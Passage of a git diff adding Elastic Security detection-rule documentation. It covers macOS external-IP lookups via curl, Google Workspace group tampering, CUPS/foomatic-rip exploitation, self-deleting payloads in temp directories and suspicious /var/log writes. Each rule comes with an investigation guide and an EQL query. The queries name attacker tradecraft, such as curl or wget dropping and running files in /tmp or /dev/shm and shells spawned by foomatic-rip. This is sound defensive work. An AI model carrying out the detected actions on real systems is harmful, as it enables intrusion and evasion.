+[[prebuilt-rule-8-19-34-external-ip-address-discovery-via-curl]] +=== External IP Address Discovery via Curl + +Detects applications making a curl request to a known public IP address lookup web service. Malware commonly performs this action during reconnaissance to assess potential targets and identify the victim's external IP address. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: macOS +* Use Case: Threat Detection +* Tactic: Discovery +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Threat: Download Tool Abuse +* Rule Type: Event Correlation (EQL) +* Platform: macOS + +*Version*: 3 + +*Rule authors*: + +* Elastic +* Massimo Bertocchi + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + ## Triage and analysis + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating External IP Address Discovery via Curl* + + +This rule detects macOS processes launching curl (or nscurl) to query common public “what is my IP” and geolocation services, often from unusual parent applications or untrusted/unsigned code. Attackers use this to learn the victim’s outward-facing address and network context to guide follow-on targeting, routing, or staging decisions. A typical pattern is a script or dropped binary spawning curl with a short command that hits ipify/ipinfo/ifconfig-style endpoints immediately after execution. + + +*Possible investigation steps* + + +- Review the full process tree and timeline around the curl execution to identify the initiating app/script, preceding download or execution activity, and any rapid follow-on discovery or persistence commands. +- Examine the curl/nscurl command line and stdout/stderr capture (if available) to confirm the external-IP lookup intent and whether results were written to disk, environment variables, or passed to subsequent processes. +- Correlate with network telemetry for the same host and time window to verify the outbound connection, destination IP/ASN, DNS resolution, TLS/SNI details, and any additional unexpected egress to non-lookup infrastructure. +- Validate the provenance of the parent executable by checking its path, quarantine/notarization status, signature trust, and recent file creation/modification events to assess whether it was dropped or launched from a user-writable location. +- Hunt for repeat occurrences across the endpoint (and fleet) that share the same parent, script content, or destination services, then check for associated indicators like new launch agents/daemons, cron jobs, or suspicious login items. + + +*False positive analysis* + + +- A user or admin runs a short shell one-liner (bash/zsh with an http-containing command line) that uses curl to quickly confirm the Mac’s external IP during routine troubleshooting, VPN verification, or connectivity checks. +- A legitimate but unsigned/not-yet-trusted macOS app launched from /Applications, a mounted /Volumes installer/dmg, or a temporary /private/var/folders path performs an external IP lookup via curl as part of initialization, telemetry, or network diagnostics. + + +*Response and remediation* + + +- Isolate the affected Mac from the network if the curl/nscurl external-IP lookup is spawned by an unsigned/untrusted parent or from user-writable paths (e.g., /private/var/folders, mounted /Volumes) to prevent follow-on command-and-control. +- Quarantine and remove the initiating artifact (app/script/binary) and any associated installers or DMGs, then block its hash and the specific lookup domains contacted (e.g., ipinfo.io, api.ipify.org, ifconfig.me) at egress/DNS to stop repeat discovery. +- Hunt for and delete persistence created around the event (LaunchAgents/LaunchDaemons, login items, cron entries) and terminate any remaining suspicious processes that inherit environment/output from the curl call. +- Reset exposed credentials and invalidate active sessions if the same parent process also accessed browsers, keychain, SSH keys, or configuration files shortly before/after the lookup, and rotate VPN/API tokens used on the host. +- Reimage or restore the endpoint from a known-good snapshot if additional unknown binaries, repeated external-IP lookups, or unexpected outbound connections are observed after cleanup, then validate with a follow-up scan and a clean process baseline. +- Escalate to IR leadership immediately if the external-IP lookup is followed by downloads/execution, persistence creation, or connections to newly registered/rare domains, and harden by restricting curl execution for non-admin contexts and tightening macOS app execution controls (Gatekeeper/notarization). + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "macos" and event.type == "start" and event.action == "exec" and + ((process.parent.executable like ("/Applications/*", "/Volumes/*", "/private/var/folders/*")) or + (process.parent.name in ("bash", "sh", "zsh") and process.parent.command_line like "*http*") or + (process.parent.code_signature.trusted == false or process.parent.code_signature.exists == false or process.code_signature.exists == false)) and + process.name in ("curl", "nscurl") and + process.args_count <= 5 and + process.command_line like ("*ip-api.com*", "*ipwho.is*", "*checkip.dyndns.org*", "*api.ipify.org*", + "*whatismyip.akamai.com*", "*ifcfg.me*", "*ifconfig.me*", "*ident.me*", + "*icanhazip.com*", "*ipecho.net*", "*api.myip.com*", "*checkip.amazonaws.com*", + "*wtfismyip.com*", "*iplogger.*", "*freegeoip.net*", "*ipinfo.io*", + "*geoplugin.net*", "*httpbin.org*", "*myip.opendns.com*") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Discovery +** ID: TA0007 +** Reference URL: https://attack.mitre.org/tactics/TA0007/ +* Technique: +** Name: System Network Configuration Discovery +** ID: T1016 +** Reference URL: https://attack.mitre.org/techniques/T1016/ +* Sub-technique: +** Name: Internet Connection Discovery +** ID: T1016.001 +** Reference URL: https://attack.mitre.org/techniques/T1016/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-external-user-added-to-google-workspace-group.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-external-user-added-to-google-workspace-group.asciidoc new file mode 100644 index 0000000000..93dffbc261 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-external-user-added-to-google-workspace-group.asciidoc @@ -0,0 +1,158 @@ +[[prebuilt-rule-8-19-34-external-user-added-to-google-workspace-group]] +=== External User Added to Google Workspace Group + +Detects an external Google Workspace user account being added to an existing group. Adversaries may add external user accounts as a means to intercept shared files or emails with that specific group. + +*Rule type*: eql + +*Rule indices*: + +* filebeat-* +* logs-google_workspace.admin-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 10m + +*Searches indices from*: now-130m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://support.google.com/a/answer/33329 +* https://www.elastic.co/security-labs/google-workspace-attack-surface-part-one +* https://www.elastic.co/security-labs/google-workspace-attack-surface-part-two + +*Tags*: + +* Domain: Cloud +* Data Source: Google Workspace +* Data Source: Google Workspace Audit Logs +* Use Case: Identity and Access Audit +* Tactic: Initial Access +* Tactic: Persistence +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Google Workspace +* Domain: SaaS + +*Version*: 9 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating External User Added to Google Workspace Group* + + +Google Workspace groups allow organizations to assign specific users to a group that can share resources. Application specific roles can be manually set for each group, but if not inherit permissions from the top-level organizational unit. + +Threat actors may use phishing techniques and container-bound scripts to add external Google accounts to an organization's groups with editorial privileges. As a result, the user account is unable to manually access the organization's resources, settings and files, but will receive anything shared to the group. As a result, confidential information could be leaked or perhaps documents shared with editorial privileges be weaponized for further intrusion. + +This rule identifies when an external user account is added to an organization's groups where the domain name of the target does not match the Google Workspace domain. + + +*Possible investigation steps* + +- Identify user account(s) associated by reviewing `user.name` or `user.email` in the alert + - The `user.target.email` field contains the user added to the groups + - The `group.name` field contains the group the target user was added to +- Identify specific application settings given to the group which may indicate motive for the external user joining a particular group +- With the user identified, verify administrative privileges are scoped properly to add external users to the group + - Unauthorized actions may indicate the `user.email` account has been compromised or leveraged to add an external user +- To identify other users in this group, search for `event.action: "ADD_GROUP_MEMBER"` + - It is important to understand if external users with `@gmail.com` are expected to be added to this group based on historical references +- Review Gmail logs where emails were sent to and from the `group.name` value + - This may indicate potential internal spearphishing + + +*False positive analysis* + +- With the user account whom added the new user, verify this action was intentional +- Verify that the target whom was added to the group is expected to have access to the organization's resources and data +- If other members have been added to groups that are external, this may indicate historically that this action is expected + + +*Response and remediation* + +- Initiate the incident response process based on the outcome of the triage. +- Disable or limit the account during the investigation and response. +- Identify the possible impact of the incident and prioritize accordingly; the following actions can help you gain context: + - Identify the account role in the cloud environment. + - Assess the criticality of affected services and servers. + - Work with your IT team to identify and minimize the impact on users. + - Identify if the attacker is moving laterally and compromising other accounts, servers, or services. + - Identify any regulatory or legal ramifications related to this activity. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords or delete API keys as needed to revoke the attacker's access to the environment. Work with your IT teams to minimize the impact on business operations during these actions. +- Reactivate multi-factor authentication for the user. +- Review the permissions assigned to the implicated user to ensure that the least privilege principle is being followed. +- Implement security defaults https://cloud.google.com/security-command-center/docs/how-to-investigate-threats[provided by Google]. +- Determine the initial vector abused by the attacker and take action to prevent reinfection via the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + + + +*Important Information Regarding Google Workspace Event Lag Times* + +- As per Google's documentation, Google Workspace administrators may observe lag times ranging from minutes up to 3 days between the time of an event's occurrence and the event being visible in the Google Workspace admin/audit logs. +- This rule is configured to run every 10 minutes with a lookback time of 130 minutes. +- To reduce the risk of false negatives, consider reducing the interval that the Google Workspace (formerly G Suite) Filebeat module polls Google's reporting API for new events. +- By default, `var.interval` is set to 2 hours (2h). Consider changing this interval to a lower value, such as 10 minutes (10m). +- See the following references for further information: + - https://support.google.com/a/answer/7061566 + - https://www.elastic.co/guide/en/beats/filebeat/current/filebeat-module-google_workspace.html + +==== Setup + + +The Google Workspace Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +iam where data_stream.dataset == "google_workspace.admin" and event.action == "ADD_GROUP_MEMBER" and + not endsWith(user.target.domain, user.target.group.domain) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-file-creation-by-cups-or-foomatic-rip-child.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-file-creation-by-cups-or-foomatic-rip-child.asciidoc new file mode 100644 index 0000000000..1845033f85 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-file-creation-by-cups-or-foomatic-rip-child.asciidoc @@ -0,0 +1,193 @@ +[[prebuilt-rule-8-19-34-file-creation-by-cups-or-foomatic-rip-child]] +=== File Creation by Cups or Foomatic-rip Child + +This detection rule addresses multiple vulnerabilities in the CUPS printing system, including CVE-2024-47176, CVE-2024-47076, CVE-2024-47175, and CVE-2024-47177. Specifically, this rule detects suspicious file creation events executed by child processes of foomatic-rip. These flaws impact components like cups-browsed, libcupsfilters, libppd, and foomatic-rip, allowing remote unauthenticated attackers to manipulate IPP URLs or inject malicious data through crafted UDP packets or network spoofing. This can result in arbitrary command execution when a print job is initiated. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.file* +* logs-endpoint.events.process* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.elastic.co/security-labs/cups-overflow +* https://www.evilsocket.net/2024/09/26/Attacking-UNIX-systems-via-CUPS-Part-I/ +* https://gist.github.com/stong/c8847ef27910ae344a7b5408d9840ee1 +* https://github.com/RickdeJager/cupshax/blob/main/cupshax.py + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Use Case: Vulnerability +* Tactic: Execution +* Data Source: Elastic Defend +* Data Source: SentinelOne +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Profile: Recommended +* Threat: Vulnerability Exploit +* Rule Type: Event Correlation (EQL) +* Platform: Linux +* Vuln: CVE-2024-47076 +* Vuln: CVE-2024-47175 +* Vuln: CVE-2024-47176 +* Vuln: CVE-2024-47177 + +*Version*: 108 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating File Creation by Cups or Foomatic-rip Child* + + +This rule identifies potential exploitation attempts of several vulnerabilities in the CUPS printing system (CVE-2024-47176, CVE-2024-47076, CVE-2024-47175, CVE-2024-47177). These vulnerabilities allow attackers to send crafted IPP requests or manipulate UDP packets to execute arbitrary commands or modify printer configurations. Attackers can exploit these flaws to inject malicious data, leading to Remote Code Execution (RCE) on affected systems. + + +*Possible Investigation Steps* + + +- Investigate the incoming IPP requests or UDP packets targeting port 631. +- Examine the printer configurations on the system to determine if any unauthorized printers or URLs have been added. +- Investigate the process tree to check if any unexpected processes were triggered as a result of IPP activity. Review the executable files for legitimacy. +- Check for additional alerts related to the compromised system or user within the last 48 hours. +- Investigate network traffic logs for suspicious outbound connections to unrecognized domains or IP addresses. +- Check if any of the contacted domains or addresses are newly registered or have a suspicious reputation. +- Retrieve any scripts or executables dropped by the attack for further analysis in a private sandbox environment: +- Analyze potential malicious activity, including: + - Attempts to communicate with external servers. + - File access or creation of unauthorized executables. + - Cron jobs, services, or other persistence mechanisms. + + +*Related Rules* + +- Cupsd or Foomatic-rip Shell Execution - 476267ff-e44f-476e-99c1-04c78cb3769d +- Printer User (lp) Shell Execution - f86cd31c-5c7e-4481-99d7-6875a3e31309 +- Network Connection by Cups or Foomatic-rip Child - e80ee207-9505-49ab-8ca8-bc57d80e2cab +- Suspicious Execution from Foomatic-rip or Cupsd Parent - 986361cd-3dac-47fe-afa1-5c5dd89f2fb4 + + +*False Positive Analysis* + + +- This activity is rarely legitimate. However, verify the context to rule out non-malicious printer configuration changes or legitimate IPP requests. + + +*Response and Remediation* + + +- Initiate the incident response process based on the triage outcome. +- Isolate the compromised host to prevent further exploitation. +- If the investigation confirms malicious activity, search the environment for additional compromised hosts. +- Implement network segmentation or restrictions to contain the attack. +- Stop suspicious processes or services tied to CUPS exploitation. +- Block identified Indicators of Compromise (IoCs), including IP addresses, domains, or hashes of involved files. +- Review compromised systems for backdoors, such as reverse shells or persistence mechanisms like cron jobs. +- Investigate potential credential exposure on compromised systems and reset passwords for any affected accounts. +- Restore the original printer configurations or uninstall unauthorized printer entries. +- Perform a thorough antimalware scan to identify any lingering threats or artifacts from the attack. +- Investigate how the attacker gained initial access and address any weaknesses to prevent future exploitation. +- Use insights from the incident to improve detection and response times in future incidents (MTTD and MTTR). + + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +sequence by host.id with maxspan=10s + [process where host.os.type == "linux" and event.type == "start" and event.action in ("exec", "start") and + process.parent.name == "foomatic-rip" and + process.name in ("bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish")] by process.entity_id + [file where host.os.type == "linux" and event.type != "deletion" and + not ( + (process.name == "gs" and file.path like ("/tmp/gs_*", "/var/spool/cups/tmp/gs_*")) or + (process.name == "pdftops" and file.path like "/tmp/0*") + )] by process.parent.entity_id + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: Unix Shell +** ID: T1059.004 +** Reference URL: https://attack.mitre.org/techniques/T1059/004/ +* Technique: +** Name: Exploitation for Client Execution +** ID: T1203 +** Reference URL: https://attack.mitre.org/techniques/T1203/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-file-creation-execution-and-self-deletion-in-suspicious-directory.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-file-creation-execution-and-self-deletion-in-suspicious-directory.asciidoc new file mode 100644 index 0000000000..228fd322b2 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-file-creation-execution-and-self-deletion-in-suspicious-directory.asciidoc @@ -0,0 +1,189 @@ +[[prebuilt-rule-8-19-34-file-creation-execution-and-self-deletion-in-suspicious-directory]] +=== File Creation, Execution and Self-Deletion in Suspicious Directory + +This rule monitors for the creation of a file, followed by its execution and self-deletion in a short timespan within a directory often used for malicious purposes by threat actors. This behavior is often used by malware to execute malicious code and delete itself to hide its tracks. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.file* +* logs-endpoint.events.process* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Execution +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Linux + +*Version*: 12 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating File Creation, Execution and Self-Deletion in Suspicious Directory* + + +In Linux environments, temporary directories like `/tmp` and `/var/tmp` are often used for storing transient files. Adversaries exploit these directories to execute malicious payloads and erase traces by creating, running, and deleting files swiftly. The detection rule identifies this pattern by monitoring file creation, execution, and deletion events within these directories, flagging suspicious activities that align with common malware behaviors. + + +*Possible investigation steps* + + +- Review the file creation event details, focusing on the file path and name to determine if it matches known malicious patterns or if it is a legitimate file. +- Examine the process execution event, paying attention to the process name and parent process name to identify if the execution was initiated by a suspicious or unauthorized shell. +- Investigate the user.id and host.id associated with the events to determine if the activity aligns with expected user behavior or if it indicates potential compromise. +- Check for any network activity or connections initiated by the process to identify potential data exfiltration or communication with command and control servers. +- Analyze the deletion event to confirm whether the file was removed by a legitimate process or if it was part of a self-deletion mechanism used by malware. +- Correlate these events with any other alerts or logs from the same host or user to identify patterns or additional indicators of compromise. + + +*False positive analysis* + + +- Development and testing activities in temporary directories can trigger false positives. Exclude specific paths or processes related to known development tools or scripts that frequently create, execute, and delete files in these directories. +- Automated system maintenance scripts may perform similar actions. Identify and whitelist these scripts by their process names or paths to prevent unnecessary alerts. +- Backup or deployment tools like Veeam or Spack may use temporary directories for legitimate operations. Add exceptions for these tools by specifying their executable paths or process names. +- Temporary file operations by legitimate applications such as web servers or database services might be flagged. Monitor and exclude these applications by their known behaviors or specific file paths they use. +- Regular system updates or package installations can involve temporary file handling. Recognize and exclude these activities by identifying the associated package manager processes or update scripts. + + +*Response and remediation* + + +- Isolate the affected host immediately to prevent further spread of the potential malware. Disconnect it from the network to contain the threat. +- Terminate any suspicious processes identified in the alert, especially those executed from temporary directories, to stop any ongoing malicious activity. +- Conduct a thorough examination of the affected directories (/tmp, /var/tmp, etc.) to identify and remove any remaining malicious files or scripts. +- Restore any affected systems from a known good backup to ensure that no remnants of the malware remain. +- Update and patch the affected system to close any vulnerabilities that may have been exploited by the threat actor. +- Enhance monitoring and logging on the affected host and similar systems to detect any recurrence of this behavior, focusing on file creation, execution, and deletion events in temporary directories. +- Escalate the incident to the security operations center (SOC) or incident response team for further analysis and to determine if additional systems may be compromised. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +sequence by host.id, user.id with maxspan=1m + [file where host.os.type == "linux" and event.action == "creation" and + process.name in ("curl", "wget", "fetch", "ftp", "sftp", "scp", "rsync", "ld") and + file.path : ("/dev/shm/*", "/run/shm/*", "/tmp/*", "/var/tmp/*", + "/run/*", "/var/run/*", "/var/www/*", "/proc/*/fd/*")] by file.name + [process where host.os.type == "linux" and event.type == "start" and event.action == "exec" and + process.parent.name in ("bash", "dash", "ash", "sh", "tcsh", "csh", "zsh", "ksh", "fish") and + not process.parent.executable like ( + "/tmp/VeeamApp*", "/tmp/rajh/spack-stage/*", "plz-out/bin/vault/bridge/test/e2e/base/bridge-dev", + "/usr/bin/ranlib", "/usr/bin/ar", "plz-out/bin/vault/bridge/test/e2e/base/local-k8s" + )] by process.name + [file where host.os.type == "linux" and event.action == "deletion" and + file.path : ( + "/dev/shm/*", "/run/shm/*", "/tmp/*", "/var/tmp/*", "/run/*", "/var/run/*", "/var/www/*", "/proc/*/fd/*" + ) and not process.name in ("rm", "ld", "conftest", "link", "gcc", "getarch", "ld")] by file.name + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: Unix Shell +** ID: T1059.004 +** Reference URL: https://attack.mitre.org/techniques/T1059/004/ +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Ingress Tool Transfer +** ID: T1105 +** Reference URL: https://attack.mitre.org/techniques/T1105/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Indicator Removal +** ID: T1070 +** Reference URL: https://attack.mitre.org/techniques/T1070/ +* Sub-technique: +** Name: File Deletion +** ID: T1070.004 +** Reference URL: https://attack.mitre.org/techniques/T1070/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-file-creation-in-var-log-via-suspicious-process.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-file-creation-in-var-log-via-suspicious-process.asciidoc new file mode 100644 index 0000000000..6ed64b37cd --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-file-creation-in-var-log-via-suspicious-process.asciidoc @@ -0,0 +1,185 @@ +[[prebuilt-rule-8-19-34-file-creation-in-var-log-via-suspicious-process]] +=== File Creation in /var/log via Suspicious Process + +This rule detects the creation of files in the /var/log/ directory via process executables located in world-writeable locations or via hidden processes. Attackers may attempt to hide their activities by creating files in the /var/log/ directory, which is commonly used for logging system events. + +*Rule type*: new_terms + +*Rule indices*: + +* logs-endpoint.events.file* +* logs-sentinel_one_cloud_funnel.* +* endgame-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Tactic: Execution +* Tactic: Persistence +* Data Source: Elastic Defend +* Data Source: SentinelOne +* Data Source: Elastic Endgame +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: New Terms +* Platform: Linux + +*Version*: 6 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + ## Triage and analysis + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating File Creation in /var/log via Suspicious Process* + + +In Linux environments, the `/var/log` directory is crucial for storing system logs, which are essential for monitoring and troubleshooting. Adversaries may exploit this by creating files in this directory using executables from insecure locations, aiming to conceal their activities. The detection rule identifies such suspicious file creations by monitoring processes from world-writable or hidden paths, flagging potential evasion tactics. + + +*Possible investigation steps* + + +- Review the process executable path to determine if it originates from a world-writable or hidden location such as /tmp, /var/tmp, /dev/shm, or similar directories. This can indicate potential malicious activity. +- Examine the process name and its parent process to understand the context of the file creation and identify if it is associated with known legitimate or suspicious activities. +- Check the file path in /var/log to see if the created file has any unusual naming conventions or lacks a file extension, which might suggest an attempt to hide or disguise the file. +- Investigate the user account under which the process was executed to determine if it has the necessary permissions and if the activity aligns with the user's typical behavior. +- Correlate the event with other logs or alerts from the same host to identify any related suspicious activities or patterns that could indicate a broader compromise. +- Assess the risk and impact of the file creation by considering the severity and risk score provided, and prioritize further actions based on this assessment. + + +*False positive analysis* + + +- System maintenance scripts or legitimate applications may create temporary log files in /var/log using executables from directories like /tmp or /var/tmp. To handle this, identify and whitelist these known processes by their executable paths. +- Automated backup or monitoring tools might generate files in /var/log as part of their routine operations. Review these tools and exclude their processes from the rule to prevent unnecessary alerts. +- Development or testing environments often involve scripts that create log files in /var/log for debugging purposes. Consider excluding these environments from the rule or creating specific exceptions for known development processes. +- Some system updates or package installations might temporarily use world-writable directories for executable scripts that interact with /var/log. Monitor these activities and create exceptions for trusted update processes to reduce false positives. + + +*Response and remediation* + + +- Isolate the affected system from the network to prevent further malicious activity and lateral movement. +- Terminate any suspicious processes identified as originating from world-writable or hidden paths, especially those involved in file creation within /var/log. +- Conduct a thorough review of the files created in /var/log to determine if they contain malicious content or scripts, and remove any unauthorized files. +- Restore any affected system files or logs from a known good backup to ensure system integrity and continuity of logging. +- Implement stricter permissions on directories like /tmp, /var/tmp, and /dev/shm to prevent unauthorized execution of processes from these locations. +- Escalate the incident to the security operations team for further analysis and to determine if additional systems are compromised. +- Update and enhance monitoring rules to detect similar suspicious activities in the future, focusing on process execution from insecure locations and unauthorized file creation in critical directories. + + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all 